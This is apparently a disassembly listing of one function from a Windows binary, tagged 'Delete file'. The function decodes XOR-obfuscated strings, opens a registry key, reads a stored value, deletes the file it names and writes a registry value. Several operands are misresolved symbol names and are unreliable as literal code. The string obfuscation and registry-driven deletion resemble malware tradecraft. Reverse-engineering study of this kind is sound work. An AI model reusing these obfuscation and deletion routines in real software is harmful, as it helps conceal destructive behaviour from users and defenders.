Function at 0x14005c6b0
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xa0
mov rax, qword [0x1400e1700]
xor rax, rsp
mov qword [rbp + 0x4f], rax
movdqa xmm1, xmmword [0x1400d11c0]
movdqu xmmword [rbp - 0x11], xmm1
mov dl, WSAStartup
mov r8b, 0x65
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp - 0x10], al
xor byte [rbp - 0xf], cl
xor byte [rbp - 0xe], cl
xor byte [rbp - 0xd], cl
xor byte [rbp - 0xc], cl
xor byte [rbp - 0xb], cl
xor byte [rbp - 0xa], cl
xor byte [rbp - 9], cl
xor byte [rbp - 8], cl
xor byte [rbp - 7], cl
xor byte [rbp - 6], cl
xor byte [rbp - 5], cl
xor byte [rbp - 4], cl
xor byte [rbp - 3], cl
xor byte [rbp - 2], cl
xor dl, cl
mov byte [rbp - 1], dl
xor r8b, cl
mov byte [rbp], r8b
mov byte [rbp + 1], 0
lea r8, [rbp - 0x10]
call fcn.14005ac90
mov rbx, rax
mov byte [rbp - 0x19], 8
mov cl, 0x7d
mov dl, 0x78
mov r8b, 0x6c
mov r9b, 0x69
mov r10b, 0x7c
mov r11b, WSAGetLastError
xor eax, eax
xor cl, 8
mov byte [rbp - 0x18], cl
xor dl, 8
mov byte [rbp - 0x17], dl
xor r8b, 8
mov byte [rbp - 0x16], r8b
xor r9b, 8
mov byte [rbp - 0x15], r9b
xor r10b, 8
mov byte [rbp - 0x14], r10b
xor r11b, 8
mov byte [rbp - 0x13], r11b
mov byte [rbp - 0x12], al
lea rax, [rbp + 0x27]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, [rbp - 0x18]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14005c8d3
mov byte [rbp - 0x19], 0x24
mov al, 0x51
mov cl, 0x54
mov dl, 0x40
mov r8b, 0x45
mov r9b, 0x50
mov r10b, 0x41
xor r11d, r11d
xor al, 0x24
mov byte [rbp - 0x18], al
xor cl, 0x24
mov byte [rbp - 0x17], cl
xor dl, 0x24
mov byte [rbp - 0x16], dl
xor r8b, 0x24
mov byte [rbp - 0x15], r8b
xor r9b, 0x24
mov byte [rbp - 0x14], r9b
xor r10b, 0x24
mov byte [rbp - 0x13], r10b
mov byte [rbp - 0x12], r11b
lea r9, [rbp - 0x18]
mov r8, rbx
lea rdx, [rbp + 0x2f]
call fcn.14005af50
nop
cmp qword [rbp + 0x3f], 0
jbe 0x14005c895
lea rcx, [rbp + 0x2f]
cmp qword [rbp + 0x47], 0x10
cmovae rcx, qword [rbp + 0x2f]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
xor eax, eax
mov qword [rbp + 0x17], rax
mov qword [rbp + 0x1f], rax
xor r8d, r8d
lea rdx, [0x1400cb42e]
lea rcx, [rbp + 7]
call fcn.1400017f0
mov byte [rbp + 0x27], 0x6a
mov al, Ordinal_32
mov cl, reloc.WLDAP32.dll_Ordinal_26
mov dl, ntohs
mov r8b, listen
mov r9b, reloc.WLDAP32.dll_Ordinal_30
mov r10b, reloc.WS2_32.dll_ntohs
xor r11d, r11d
xor al, 0x6a
mov byte [rbp + 0x28], al
xor cl, 0x6a
mov byte [rbp + 0x29], cl
xor dl, 0x6a
mov byte [rbp + 0x2a], dl
xor r8b, 0x6a
mov byte [rbp + 0x2b], r8b
xor r9b, 0x6a
mov byte [rbp + 0x2c], r9b
xor r10b, 0x6a
mov byte [rbp + 0x2d], r10b
mov byte [rbp + 0x2e], r11b
lea r9, [rbp + 7]
lea r8, [rbp + 0x28]
mov rdx, rbx
call fcn.14005ae70
nop
mov rdx, qword [rbp + 0x47]
cmp rdx, 0x10
jb 0x14005c8d3
inc rdx
mov rcx, qword [rbp + 0x2f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005c8ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005c8ce
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b8b1c
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.1400b8870
mov rbx, qword [rsp + 0xb0]
add rsp, 0xa0
pop rbp
ret